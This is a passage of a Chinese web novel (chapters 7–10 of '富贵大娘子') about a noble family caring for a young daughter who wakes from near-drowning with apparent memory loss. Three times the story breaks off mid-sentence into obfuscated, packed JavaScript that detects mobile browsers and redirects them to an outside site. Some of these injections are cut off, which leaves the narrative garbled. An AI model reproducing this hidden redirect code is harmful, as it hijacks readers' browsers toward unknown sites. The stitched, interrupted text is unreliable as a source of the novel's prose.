《富贵大娘子》 7. 第7章 徐问真这边,将事情安排妥了,又问十七娘的情况。含霜为人稳妥细致,留含霜在这边照料十七娘,她很放心。 徐问真在十七娘床前坐了坐,十七娘仍是双目紧闭,脸色青白。含霜说她黄昏时候似乎短暂地醒了一下,但转瞬又昏睡过去,徐问真叹了口气,盼着是好转了。 白芍也守在这里,见徐问真如此,安慰道:“小娘子是很有福了,今日发热三次,都又退了热,这一关关都闯了过来,必不会辜负娘子您抢回来的这条命的。” 她往常性子有些冷,总是不苟言笑,这会说这么熨帖的话,可见与徐问真的情分。 徐问真轻声道:“多亏你费心,还得再劳你留神了。” 白芍郑重地道:“我托殿下和您的福才有今日,能为殿下与您出些力,心里反而满足,谈何‘劳’字?您折煞我了。” 徐问真干脆不与她啰嗦这些,“我新得了一份帛书,听说是汉时的古医方存世,特地叫信春今日带回来,明日我叫人给你送来。” 白芍十分惊喜,也不与她推辞,只道谢,又道:“您放心,我就日夜守在这里,定尽全力,保小娘子平安。” 徐问真在十七娘房中逗留许久,十七娘一直昏睡着,看起来并无苏醒之意,好处是再没起高热,叫众人都松了口气。 天色很晚时,含霜才劝道:“娘子快回去歇着吧,这里有我和白芍呢。明日一早,您还要去向公主请安,再不歇下就太疲累了。” 徐问真点点头,又瞧瞧十七娘。 她为孱弱纤瘦的小妹掖了掖锦被,低声道:“害你的人,在京的都已处置了,在安州的,你伯母也不会轻饶。往后长姊护着你,必不会再叫人欺负你了。” 而后起身离去,侍女、婆子们均欠身相送,榻上的小女孩儿闭着的眼却动了动,似乎用力想要睁开,几下无果,渐渐又归于平静。 — 东院中,七郎才挨着长兄一顿训斥,被训得灰头土脸的,这会坐下喝了盏茶,压下心中的惊涛骇浪,沉下心来恳切地对大夫人道:“弟妇行事如此,实是弟教妻无方,长嫂如此担待,令弟万分愧疚。” “这样的话很不必说。”大夫人道:“这么多年,你媳妇的性子我也很知道,她虽有时愚些,心地却不坏。——论理,这话我不该说,但你叫我一声长嫂,我就托大,教你一句。” 七郎忙要起身听训,徐大夫人见他拘谨,无奈睨了徐缜一眼,徐缜在旁老神在在地喝茶,大夫人叹道:“你坐着就是,我还能骂你不成?如此客套,反而显得生疏了。” 七郎这才坐下,大夫人徐徐道:“你与婉娘,是年少夫妻,理应是相互扶持的。虽然都说夫为妻纲,女子贞顺为要,但我一直觉得,为人妻子,自己也应坚韧有力,只能柔弱顺承,自己担不起事来,只等人来遮风挡雨,也并非好事。这么多年,你处处替婉娘周全妥善,可曾想过将处事间的关窍细细讲给她听吗?” 你既没有过扶她立起来的心,就要做好她当不住事的准备。 她不好在小叔面前将话说得太直接,其实这话已经很直白了,等闲为人嫂,是绝不可能如此说的。 只因她嫁进来时七郎年岁尚幼,七郎对她一向恭顺,七夫人对她也还算顺从,她看七郎七夫人便格外有一份包容,才会说出这一番话。 七郎徐纪闻言,确实心内一震。他从未想过这些,待妻女家小,也只想自己做一棵树,将所以风风雨雨都挡在家门外才好,今日听大夫人所言,再结合当下所生之事,只觉有一支利箭直穿过他心里一般。 他愣怔半晌,见他出神的模样,大夫人叹了口气,与徐缜交换一个眼神,开口道:“天色晚了,你也回去吧。” 徐缜又道:“明日休沐,你得空到书房去,我有事与你商议。” 徐纪忙应诺起身,向兄嫂二人行礼后才告退,走时还未回神。 徐缜看着他的背影,终于叹了口气。 徐大夫人轻声道:“就没有转圜的余地了?” “他媳妇行事如此,便是他走上去了,家里也不能安静。家宅不稳,在朝堂是大忌。”徐缜道:“总不能因他一个,牵连徐氏一族。” 徐大夫人一时默然,虽已是春日,但天凉,她体虚畏寒,房中还拢着火盆。她与徐缜围着火盆坐下,低声道:“你徐徐地与七弟说。” 时近春闱,科考改革之后的第一场春闱,今上亲命由徐缜主持,他连日忙碌,又兼家中出事,在外还能支撑,在妻子身边才终于露出几分疲惫。 他靠着藤椅捏了捏眉心,“他自己心里也有数。不过这事出得也巧,原本……我也在想,是让他往前走,还是再等一等。” 徐大夫人疑惑道:“怎么了?不是早就拿定主意,今年替七郎运作了。是前头又出什么事了?” “放心,于咱们家是好事。”徐缜怕她担忧,便很干脆地道:“是五弟。陛下今日与我说,有意将他从边防调入京营,回中枢任职。” 徐缜所言五弟便是堂弟徐纺,他父亲与徐虎昶是亲兄弟,在世时也从军,官至上柱国,爵追郡公。 徐纺父亲早逝,也在留国公府住过几年,但后来并未如徐缜、徐纪兄弟三人一样转从文,仍是投身军营。 京营是护卫京畿的几处大营的统称,皇帝虽没说具体调到哪一处,但将徐纺调回中枢就一定是要重用,以徐纺如今的功绩、官职,徐缜估计着,至少能有一个副职做。 如此对徐家自然是好事,但徐缜也在考虑,一家人一时风光占尽,真是好事吗? 一个军营副职,确实还不值得徐缜这样小心,伴驾多年,他也能感受到今上对他的信任,但身居宰辅之位一人之下,徐家又并非旧式门阀,而实实在在是跟随太祖起家的新贵,总是小心驶得万年船。 大夫人听了,半喜半忧,叹道:“就是一家欢喜一家愁吧。幸而七弟心性还好,这桩事也确实巧了,机缘凑巧,免去七弟心中生怨了。” 这一点徐缜倒是很自信,“七郎心胸是最开阔的,哪怕没有他媳妇这桩事,他也不会心存怨怼。” 对徐家人来说,家族的安稳长远远远胜过个人的显赫,家族便如一棵大树,他们都是树的枝干,他们好、树才强壮,同样,树强壮、他们才好。 人与家族相依相辅,相辅相成,是分割不开的。 但说起弟弟,京中这个还算省心,外头却有一个糟心的。 徐缜连着几日没休息好,正是心气不平的时候,才骂了老二一顿,稍作纾解了,又想起家中近日乱事的祸头老三——徐家十郎徐纯。 他磨磨牙,问徐大夫人:“给老十夫妇的信你写完了?” “正要写呢。”提起此时,大夫人不禁一叹,“十七娘的事我有过,自然得向她父母请罪。可不是我有意推脱罪责,这一回事,老十夫妇就算挨一顿骂也不冤枉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13811398|146135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 今日大长公主就咬牙切齿地骂了小儿子一番,连带着小儿媳,也有些反感,只是顾念她的女儿遭了罪,妻妾之争她又算受害者,才没骂出口。 这会在徐缜跟前,徐大夫人没什么顾忌,气道:“她怎么就能把从娘家带来的得力心腹都给见觉,到问星那,就是在安州伺候她的‘心腹’呢?结果就是问星身边被戳成了筛子,见觉那里倒是铁桶一片——她、她的儿子就那样好,女儿就半文不值吗?” 而且两个孩子来时,身边都安排得满满的人,她只当十夫人是不放心京中人手,心中虽有些不快,到底体谅为母之心,只顺从十夫人的意思,没再往里安排人。 不想就是亲娘给的人,出了都被妾室收买的这种大纰漏。 徐缜不想还有如此内情,不禁微微皱眉。 但正如他今日能将七郎叫来骂一顿,却不能直接指责七夫人,对十郎夫妇也是同理,何况十夫人如今也算半个受害者。 他干脆铺纸研墨,提笔先训十郎一顿——行事荒唐在大婚前先与嫂子的表妹有了首尾,又识人不清,没能察觉出妾室的真面目,险些葬送了女儿的性命,十郎这顿骂挨得不亏。 而且柳氏出身落魄,进徐府时陪嫁两口箱子都装不满,怎么数年过去,就大手笔到能重金厚礼赠与七夫人,她的人还能在京中大手笔地撒钱收买人心了? 还不是十郎纵容的。 再想到大夫人提起,徐问月、徐问星这两个名字的差距,徐缜心里更气,落笔比方才骂七郎还狠。 写罢了信,他又皱眉道:“得向母亲请个人去安州。” 大夫人已经住笔,赞同地道:“十弟多年来偏宠柳氏,仅凭咱们的书信,绝对弹压不住,是得请母亲出山。” “不仅如此。”徐缜道:“柳氏的人在京大把撒钱,十郎再给,总也有限。若是从十郎那出的还好,只怕柳氏行差就错——得有个稳妥人去,我再从身边调一个管事,与母亲的人同去。” 大夫人一怔,然后感慨道:“要么你们是亲父女呢。真娘今日也与我说,柳氏出手过于阔绰,其中怕有蹊跷。” 徐缜闻此,才露出今晚的第一个笑,“自然是我真娘。” 他语中的骄傲不加掩饰,徐大夫人想了想,道:“今日我将家中药材上的账目给了真娘,父亲那边还不知态度如何,你要替真娘说话。” 有关徐问真之事,夫妻二人早已商量妥当,徐缜立刻道:“你放心。……其实有母亲在,都用不上咱们,父亲虽有些守旧,但也是最疼真娘的。” 他慢慢道:“若一切顺利,就最好不过。真娘养着明瑞和明苓在身边,再握住家中的权力,更加一重保险。这样哪怕往后咱们不在了,也不怕真娘在家中境遇不佳。” 其实比起将希望寄托于晚辈的品行与良心,还是让徐问真握住权柄更让夫妻二人安心。 抚养徐明瑞也算一重保险,侄儿奉养在室未嫁的姑姑不尽心,顶多被人议论两句,并不算道德瑕疵,可若是待抚养他长大的姑姑不尽心,便是不孝。 道德礼法,用对了也是一种武器。 徐大夫人默然半晌,忽然道:“咱们当日若不起惦记那储妃尊位的心思,也不会让真娘落到如今这个境地。我儿自有丈夫疼惜,儿女孝敬,还须咱们在此算计这些?”想起弟妇的心思,她又冷笑着道:“但既已到这一步,是我真娘的,谁也不能抢了去!” 8. 第8章 徐缜拍了拍夫人的手,道:“幸而见素与真娘他们姊弟同心,瑞郎又是个孝顺孩子,他自幼由真娘带大,日后必然敬奉真娘如母,也算人和俱全。咱们真娘命数是最好的,往后必定顺遂安稳,享平顺安宁,也不比那劳什子富贵差。” 大夫人用力点头,似乎头点得够深,的话便能够成真。 徐缜知道她的心结,轻叹一声,握紧了妻子的手,“我知道你总放不下当年将真娘留在京中,心里觉着对不住真娘。可如今咱们一家俱全,何其和美?真娘待你孝敬又用心,可见对幼时之事并无心结。与其困于往事,不如好好珍惜当下母慈子孝的时光,你心里有愧,咱们加倍对真娘好便是。” 大夫人眸中泪光点点,“真娘待我虽孝敬有加,可却……” 她看着徐缜那副什么都不明白的样子,便忍不住心烦,抬手拍了他一下,“你不要再说了,我自有主张!” 徐缜实在摸不明白她的心,低声下气地道:“是我太愚钝,劳娘子耐心与我分说分说?” “诶。”徐大夫人叹了口气,慢慢与他说:“你瞧真娘与母亲私底下闲坐,从来贴得近近的,要么母亲搂着真娘,两人贴着说话,要么二人对坐着,一边做茶点香,一边说闲话。我总觉着,在母亲面前,真娘才更放松、亲密一些。她待我当然也很孝敬,处处都很上心,出门总是给我带新鲜东西回来,在外得了好东西,也先记挂着我,去岁我生辰,还特地为我栽培了一盆碧玉牡丹……” 她说着说着,好像就变成了炫耀女儿的孝心,徐缜忍不住笑,道:“你瞧,其实你也明白真娘对你是再上心不过了吗?……我知道你的心结了,可真娘从小不在咱们身边是真的,要强求真娘与咱们亲密无间,也难。 可咱们比起有些父母来也算幸运,至少真娘能长长久久地留在咱们身边。你心中的缺憾,往后还有无尽岁月可以慢慢弥补。咱们只管对真娘好,真娘也懂对咱们好,一家人心在一起,为了彼此好,不就是世间最难得的美事吗?” 徐大夫人终于点了点头,又与徐缜说了一些徐问真今日处理的事务,徐缜听了也只点头,“如此办很妥当了。既有二心,家里也留不得那样的人。” 徐大夫人叹一口气,道:“真娘处事一向稳妥,这些小事她办得很干脆。只是十七娘那里,我心中有些忧虑。” 徐缜问道:“怎么?” 徐大夫人絮絮念叨:“她怕十七娘留在东上院,若有闪失,惊扰到母亲,才将十七娘接到临风馆去。可我想着,十七娘在她那,若有事,是惊不着母亲,可她难道就不怕吗?倒还是我将十七娘接过来更好。 何况临风馆地方也不大,强塞了明瑞明苓两个进去,已经很拥挤了,现在十七娘那里还是用真娘的人服侍……如今处处都周全了,只咱们真娘委屈着。” 但女儿做下了决定,她又不忍反驳,可不正纠结这里。 徐缜听了无奈,“你是将咱们真娘当做水晶玻璃人看待了……她要掌家,肩上自然会有相当的分量。这只是她走的第一步,对弟妹家小,她便要软硬皆施,既要立威、也要施恩,如此才能叫人服她。咱们逐渐上了年岁,家是要交给他们的,真娘先要担得起来。你总是将真娘当水晶玻璃人一般对待,怎么能行呢?至于真娘会受委屈?那更是荒谬了,咱们家大娘子几时吃过委屈?真儿也不是那任由自己受委屈吃苦的性子啊,你瞧那云溪山,被她打造得多幽雅宜居,住起来多么闲适惬意?” 徐大夫人也知道这些道理,只是她总觉得亏欠女儿,便处处都忍不住操心。 徐缜索性拉起她,“好了,时候也不早了,明日一早还要去向母亲问安,且歇下吧,我来替你拆发髻。这几日朝里事忙,明日虽然休沐,下午我还是要入宫,也不能在家帮你。” 徐大夫人点点头,二人一道往内室去,但惦记着在生死关头苦熬的侄女,徐缜还额外惦记着安州那边的事,夫妇二人一夜也都没能睡好。 次日一早,徐问真便带两个小的先往东院,向父母问安。 两个孩子都还小,披着薄棉斗篷,雪白的短绒毛簇着小圆脸,瞧着圆滚滚、白嫩嫩的,亦步亦趋跟随姑母的步伐,从远处看倒像是一路滚过来的。 兄妹二人龙凤双胎,长得却并不十分像。哥哥明瑞眼睛像父亲,是一双微圆的杏仁眼,眼帘微微垂着的时候便显出一点无辜;妹妹明苓生得一双明亮锋锐的凤眼,肖似其母,亦似姑母、祖父与曾祖母。 大夫人久不见一双孙儿,喜欢得紧,搂进怀里一个个亲,徐缜也笑眯眯将两个孩子抱了抱,又关心地问徐问真:“十七娘在你那,还要看顾这两个,真娘你可还支应得来?” 徐问真笑道:“他们都有人照顾,我不过问一问、瞧一瞧罢了,并不多操什么心。” 徐缜点点头,一时无话,想了想,才问起药材上的账目怎样。 徐大夫人听着都头疼,却见徐问真也有条不紊地回答,一听就知昨日已经将账扫清楚了,一时更感无奈。 最终她还是忍不住打断道:“好了,好容易你休沐,有半日功夫,真娘也在家,一家人在一起,就说这些经济琐碎?” 父女二人闻言一怔,然后都笑了。 徐缜笑着顺应道:“夫人说得是。” 然而徐大夫人强势打断了话题,自己却也想不出什么适合闲话的事情,最终还是明苓吞下一口果子,搂着徐缜的手臂,笑眯眯道:“翁翁,姑母说今日带我们去太婆婆那吃樱桃酥饼,咱们等会同去好不好?” 徐问真如明苓这个年纪的样子,徐缜与徐大夫人都未曾见过。他们回到京中时,女儿已是斯文识礼的徐家大娘子,言谈举止都温柔从容,笑容温和中也总带两分疏淡——浑然是一个稍减锋芒的年幼版大长公主。 看明苓顶着这张好像生来就该清冷高贵的小脸撒娇,徐缜才愣愣地反应过来,原来这般生动鲜活的表情,也会出现在如此的面孔上。 他心不禁一软,也笑着说:“太婆婆不爱吃饭的人太多,等会你和姑母先去吃樱桃酥饼,翁翁和婆婆在这边房里,吃过饭再过去。”然后不等明苓露出失望的表情,便忙哄道:“我们苓娘喜欢吃樱桃酥饼是不是?你姑母小时候也喜欢,翁翁知道有一家酒楼的樱桃酥饼做得最好吃,下午翁翁回家时带回一些给你们好不好?” 明苓故意鼓着脸想一想,向徐缜伸出两根手指头,“要吃两块!” 徐缜刚要答应,徐问真轻轻一咳,明苓连忙回头去看,然后露出一点哀求的表情,“就吃两块嘛!” 原本坐在徐大夫人身边的明瑞也跳下榻凑过去撒娇,显然兄妹二人都苦姑母之威久矣。 徐问真点点明瑞的额头,道:“他们牙齿未长成,怕坏了牙,不好给多吃甜点。何况又馋得很,除了樱桃酥饼还要偷吃许多果子,哪里亏到你们了?” 两个孩子皱起小包子脸,目光期盼地看向翁翁婆婆,徐大夫人低头饮茶不言声了,然后背负着屋里最后希望的徐缜也轻轻咳了一声,“嗯,听你们姑母的。” 两个小孩脸上这下是掩不住的失望,明苓用很复杂的目光看看徐缜,又看看一旁一言不发的徐大夫人,最后好像很无奈地叹了口气,“好吧。” 她坐在那里摇头晃脑,“那便听姑母的话吧,若我不听姑母的话,姑母该伤心了。” 徐问真忍俊不禁,只想去捏她圆鼓鼓的小脸,徐大夫人目光温柔地看看明苓,又看看徐问真,嘴角不知不觉间也提了起来。 比起撒娇耍宝的妹妹,明瑞显得内敛许多,但显然也是一位撒娇水平分毫不弱的选手,这会使使劲爬到徐问真身边,蹭着她道:“瑞郎也听姑母话!” 徐问真轻轻一笑,顺手一捏他,明苓就不干了,扑通一声跳到地上,等等跑到徐问真身边,马上张开双手,“抱抱我!姑母抱抱我!” 好嘛,上首夫妻俩对视一眼——怪不得方才两个孩子乖乖地就一人一边坐他俩身边了,原来是姑母只有一个分不过来。 徐问真和她身边的人倒是很习惯的样子,含霜与凝露办了两个墩子来,叫他们挨着徐问真脚边一边一个地坐下。姑侄三人又在上房里待了一会,约莫差不多到大长公主吃早饭的时间,徐问真才告辞道:“女儿先带他们往祖母房中去。” 徐缜点点头,很温和地对女儿说:“且去吧。这几日天寒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她也不愿意一日三餐对着儿媳吃,干脆就打发各房吃各房的饭,徐问真出生后就被送到她身边,她才开始有了每日三餐不离的固定饭伴。 于是很多年里,公主府餐桌的席位都是三个,大长公主、徐问真,与一个大多数时间在的徐虎昶。 如今家里饭桌上又多了两个小的。 他们倒是自立得很,虽还不大,但坚持用调羹自己舀,也不要乳母喂,大长公主笑吟吟夸他们“能干!”“自立!” 徐问真在大长公主跟前一向活泼,悄悄拆台,“前些日子还要乳母喂呢,那天兄妹俩吵架,话赶话说到‘我能自己吃饭’,然后争一口气,就都要自己吃。” 大长公主直笑出声,徐虎昶看了眼用力吃饭、听不清姑母在说什么的两个小的,也有些好笑,叫人给二人又加一块蒸饼,“你这几日忙,可以将他们两个留下,等会我和你祖母带他们两个骑马去。” 其实他俩还没小马的腿高,说骑马,也就是徐虎昶举着,在马上坐一会。 但二人听了还是眼前一亮,又舍不得离开徐问真,最后讨价还价,变成徐虎昶明日、后日、大后日……都要带他们骑马。 徐问真看着古灵精怪的两个小孩,和看似严肃实则一退再退的徐虎昶,忍不住想叹气。 大长公主也忍不住笑,看看她,用一种喟叹的语气道:“我们真娘能长得如此沉稳懂事,真是多亏了我。” 徐虎昶完全没感到心虚,好像听不懂她的言外之意,只赞同地道:“是殿下养得好——但我教得也不差,咱们真娘骑术也是数一数二得好。” 大长公主只觉嘲讽到棉花上了,白他一眼,看向两个孩子,“太翁和太婆婆给你们选了两匹最好的小马,英俊着呢,今日真不去瞧瞧?” 她知道徐问真这几日忙,有心将两个孩子引走,让她轻松一点。 然而两个孩子心动一点后,又马上坚守立场,用力摇头,“姑母答应今日一整日都带着我们!”这回发言的是明瑞,他立场坚定,显然兄妹两个已经统一战线。 徐问真笑了,神情轻松温和,“就叫他们在我屋里,左右有人瞧着,不妨事的。” 正说话间,她屋里一个使女急匆匆地过来,进屋面带惊喜之色,“回殿下、国公、娘子,十七娘子醒了!” 徐问真立刻起身,院中石榴树上有两只喜鹊清脆开嗓,屋里屋外都盈满了喜意。 9. 第9章 十七娘苏醒无疑是家中目前最大的喜事。 大长公主亦欣喜万分,与徐虎昶忙带着两个小的也往临风馆里去,然而一迈进厢房的门,他们便察觉出事有不对。 满屋婢仆面上皆无半点喜色,问真身边最稳重妥帖的大女使含霜也神情凝重,大长公主皱眉问:“怎么了?” 她心中有些不好的预感,到底上了年岁,已不如年轻时经事,此时竟觉手脚微微有些发软。 徐虎昶忙扶住她,那边徐问真按住白芍,回身安抚大长公主道:“并无什么事,只是十七娘这孩子好似睡糊涂了,竟有些认不得人。” 她一面说,侍女已带着林医官飞也似的跑了进来,徐问真年岁虽轻,房中的规矩却立得很清楚,婢女带人飞奔这样的事是从未发生过的,大长公主见状,才真是浑身一软。 徐问真忙命女官们扶住公主往外间榻上坐下,大长公主摇摇头,缓了口气,走近内间来,便见床上刚从鬼门关里抢出命来、孱弱的小孙女满面茫然无助,手还紧紧抓着长孙女的袖角不肯松开,甚至瑟缩着,像是想要往阿姊身后躲去。 宛如一只误入猎人丛的孱弱小兽。 大长公主纵然久经世事,此刻也不禁浑身哆嗦起来,她深吸一口气,咬牙半晌,问刚在徐问真的帮助下搭上十七娘脉的林医官:“我家十七娘、这是怎么了?” 林医官也是满面郑重,徐问真怀里搂着瘦小单薄如轻飘飘一张纸一般的小妹,与白芍交换一个眼神,心渐渐沉下来。 林医官仔细诊脉半晌,又细细检查了从前被他们忽视、只简单处理过,认为并不重也不算紧要的头部伤口,沉思半晌,对大长公主道:“娘子此次致命的危险在于落水时间长、口鼻呛入太多水,头部的创口不大、也并不算深,所以最初我们并未十分在意,但如今看来,或许头部伤口落水时又受了巧力,伤到颅内,以至出现了失魂之症,如今娘子畏人不识,正是失魂的症状,不敢言语或许是因为失魂而忘记言语……” 他说罢,见大长公主眉头紧锁,又小心进言道:“此只系臣一家之言,臣见识短浅,从医虽有数年,却并未见过真正的失魂之症,对娘子的症状不敢断言,还请殿下再请数位医官明家来,共同诊断,如此倘臣有失察之处,也不至耽误娘子病症。” 大长公主闻言侧头看了身边女官一眼,便是默许的意思,又皱眉问:“若十七娘不识人了,她是还认得问真吗?” 她看向榻上紧紧拉着徐问真衣袖不肯撒手的十七娘,与面色凝重的徐问真。 林医官迟疑一下,“或许……近几日娘子也偶有神智清醒只是婢仆们未曾发现,正逢真人前来探望,便记住了真人的声音?” 白芍也道:“正是,方才大娘子初到时,小娘子并无特别反应,仍然十分惊惧,是大娘子出言安抚之后,小娘子才表现出对大娘子的亲近。” 她们往日虽然一直守在这里照料十七娘,但也不敢随意言语,所以算来算去,还是徐问真在这屋里对十七娘说的话最多。 大长公主最后抓住的一根救命稻草也折了,但小孙女出了这等事,她知道自己不能慌乱。真儿刚刚主事,此刻心中怕也慌乱,若她表现出惊慌,岂不叫真儿连心里最后一点倚靠也失去了? 她拿定主意,强定了定神。 两个小孩没见过如此场面,大人们都满面凝重,最依赖的姑姑搂着另一个小孩坐在榻上,也面色沉重。 他们不禁都慌了神,大长公主忙揽着他们轻哄,唤来他们的乳母,交代将他们抱走。 两个小孩被莫名凝重的气氛感染,哪里肯走,坐在地上哭起来。还是徐问真定下神,一面搂着十七娘安抚她的情绪,一面安抚二人道:“勿要慌乱,这边有些事情要姑母来办,你们先随着妈妈们下去,叫妈妈给你们一人煮一碗甜酪好不好?” 明瑞十分不安,止不住地哭,明苓也眼含着泪懵懂茫然地看着徐问真。徐问真温和地笑着,坚定地与她对视,“我们苓娘与瑞郎是最乖巧、最懂事的孩子,能够照顾好自己,不叫姑母担心,是吗?” 明苓用力点点头,明瑞也稍微收住一点眼泪,两个小的被乳母抱了下去。 其实徐问真并不像大长公主想得那样慌乱。 她这几年在山里,名义上是清修,该看的都是那些满是清静、大道的经文,其实光看那个哪有意思?历代奇人的逸事笔记都看了不知多少,如今城中最以售卖逸事笔记、传奇本子闻名的如意书局便是她为了收集有趣笔记开设的。 失魂症在现实中不常见,在各种逸闻记事中却只能算一般套路,她看得都厌了。 方才林医官给出这个诊断,大长公主他们都慌了神,她反而镇定下来——好歹有个说法,治起来就有思路,总比是无名无因由之症要好。 她哄走了两个最小的,十七娘问星紧紧抓着她的衣袖不肯放开,宛如溺水之人抓住的最后一根浮木,这一个却是哄不走的。 徐问真叹了口气,指着榻上的枕头,几次示意,才叫问星明白是要她躺下,问星抿着唇,试探着躺下,徐问真立刻露出笑容,做出安抚的动作。 这孩子……若是能恢复还好,若不是不能恢复,就此痴傻了…… 屋里气氛一时凝滞起来,如阴雨未落的天气,闷得令人几乎窒息。 徐大夫人这时也得了消息匆匆赶来,东院与东上院距离很近,她赶来时其他医官、郎中还未曾到,含霜将事情简练地对她说清楚,纵然以徐大夫人的沉稳老练,也不禁倒吸一口凉气。 等到七夫人赶到时,她已经碎嘴的婆子传完了经过,事情已经发展到“十七娘痴傻了”,因而来了之后低着头恨不得缩到地缝里,一声也不敢出,随她来的见满、见显二人虽不知其故,却也心觉不对,便立在母亲身后,静悄悄地也未言声。 最后还是大长公主咬着牙骂道:“那该死的孽障!” 她厉声道:“还不把那孽障给我勒死!” 徐虎昶忙道:“殿下稍安。” 纵然要处置,这会人多口杂,满院仆妇,也不能将这种话宣之于口。 徐大夫人知道轻重,也连忙上前劝解大长公主。 徐问真还稳得住,知道祖父与母亲必能将事情圆回来,便不着急,坐在榻边,与白芍耳语几句后,又轻轻对徐问星反复道:“十七娘不怕,阿姊在。” 徐问星双眼茫然中混合惊惧地看着她,显然听不懂她在说什么。徐问真便轻轻拍着问星的肩,如哄明苓、明瑞一般,即便知道她听不懂,也柔声反复安慰着。 言语的力量有时并不在多华美的言辞,语音声调也能在无形之中传递给人信息。如此几次后,十七娘果然稍微安稳一点点,目中惊惧稍退,却还是忍不住靠向徐问真,紧紧抓着她衣袖的手也未曾松开。 柔滑矜贵的料子就这样被抓得皱巴巴的,徐问真也不在意,就这样坐在榻边任她牵着,一边温声回长辈的话。 又是留国公府兵荒马乱的一日,徐家十七娘子最后被太医诊断为失魂症,是否痴傻还未可知,要持续观察。 新上任的问星小娘子懵懂瑟缩地躲在徐问真身后,最后还是徐问真将身边面孔最敦厚、声音最柔和无害的秋露喊了进来,专负责照顾十七娘子,再加上问星稍微熟悉一点的含霜配合,她才得以从厢房中脱身。 众人暂时都在临风馆正房落脚,凝露带着人一位位地奉茶,大长公主与徐虎昶坐在东屋内上首榻上,婢女们又端了数把檀木禅椅来,请其他人坐。 太医既已给出了诊断,大长公主又请他们商量给出方剂。然而太医们嘀咕了半天,虽说给出了方子,但也说失魂之症向来治疗效果不甚明晰,用药、行针治疗下去,是否会有效果,让徐娘子忆起前事,就要看命数了。 大长公主从小听厌了这一套说辞,听罢虽皱着眉,倒也没为难他们一定要给出准话,徐虎昶对太医们客气两句,命人厚谢,徐大夫人忙出来交际。 人散去了,大长公主叹息一声,“真是一笔糊涂账……只可怜了孩子。” 倘若只是失去记忆还好,无论能不能想起前事,都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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昨日再恼十夫人偏心,这会以一颗为娘的心来想,大长公主还是对十夫人生出一些怜惜之情。 听她叹气,七夫人在一边低着头,真是大气都不敢出一口。 听闻七房昨日一夜未能熄灯,上下仆妇皆战战兢兢,见满、见显几个孩子今日一早过去,就见父亲上朝去了,母亲眼下挂着乌青,面容憔悴,俨然是没休息好的模样,还隐有不安之色。 方才几位年轻娘子都被打发走了,七夫人没有女儿在身边,更失了最后的胆气。 然而她再想低调,那么大一个人坐在那,也让人无法忽略。 大长公主看她一眼,再看一眼,最终还是没忍住,道:“这段日子天寒,你就好生在院里养着,别出来行走了。若还有心惦记你这可怜的侄女,就给她抄写些经文,供奉在天尊佛祖之前,为她祈福吧。” 七夫人虽然领了罚,心中却不敢有半点不甘,起身唯唯称是,大长公主实在懒得看她这模样,徐问真待她倒还客气,没有落井下石的意思,也起身来,待她离去还稍送了送,算是全了她的脸面。 瞧着这长孙女,大长公主心里终于稍微有点慰藉——那徐问月长歪了,定是她亲娘给的种子不好。瞧她养大的真娘,行事多么体面周全。 然而她也不像往常一样高兴,十七娘的懵懂就如一块大石头,沉甸甸地压在她的心口,她一时想到可怜孱弱的小孙女,一时想到在外的儿子儿妇,心中万分滋味,哪能言说。 徐虎昶也无法以言语宽慰,只能轻轻握住她的手,“会好的。” “柳氏那贱婢,绝不能留。”大长公主合上眼,已经冷静下来,出口之语才更不容反驳。 徐问真听到此言,在帘帐后稍微驻足,并侧身示意大长公主的贴身女官牡丹入内听候指令。 她站在明间,转头看向屋外。厢房中倒没有早上那般兵荒马乱,问星体力还不足,服了药,已经在秋露的服侍下睡去了。 含霜回来复命,徐问真点点头,然后注视着庭间刚刚冒出花苞的小树出神。 褐色的数枝上,绿色的小苞中隐隐约约透出一点粉意,为干瘦的矮树增添了一点生机。 今春天气太冷,往年都已鲜花满枝的时节,今年花苞刚刚冒头。 她紧了紧身上的披风,终于吐出一声长长的叹息,抬手轻抚门前的竹帘,恰如要拂开笼罩在徐家上空的阴云。 10. 第10章 临风馆就这样开始了一院里三个娃,两不懂事、一纯傻的日常。 徐大夫人倒是几次想要将十七娘接过去,她认为十七娘若是正常苏醒好转也罢,在徐问真身边住些日子,正好培养姊妹感情,日后十七娘对问真必然十分信任、依赖,对问真只有好处没有坏处。 但如今十七娘的病情况不明,不知能不能有好转,日后好转了也罢,倘若没有好转,万一十郎夫妇回头怨上问真呢? 徐大夫人不敢赌这其中的概率,便想干脆将十七娘接过去。她自然会十分用心地照顾十七娘,这孩子遭了这一场罪,多少也有些她的缘故在其中,她用心照顾是理所应当的,并不为求心中好受。 然而一是问真不同意——她也顾虑十夫人那边,怕十夫人回头对大夫人怨上加怨。十七娘留在她这边,哪怕真情况不好,十夫人怨上了照顾的人,好歹她前无短处,也并无义务,照顾十七娘纯属善举,哪怕结果不好,十夫人也没理由针对她。 二是徐问星不愿意。 这是实实在在的真话,小丫头虽然每日一声也不吭,总是瘫在榻上不肯动弹,盯着房顶发呆,叫人怀疑莫不是真痴傻了,但对徐问真却格外依赖。那日大夫人坚持要将她接走,有几个婆子过来抬她到软轿上,她便往徐问真身后躲,一副只信赖徐问真的模样。 两人都如此坚持,徐大夫人只得无奈依从,然后每日早中晚地上香乞求,这孩子可千万不要痴傻了。 虽然院里住着三个孩子,徐问真倒是没多费什么心。她身边得力的人手太多,等闲琐事都到不了她的跟前就被料理干净。 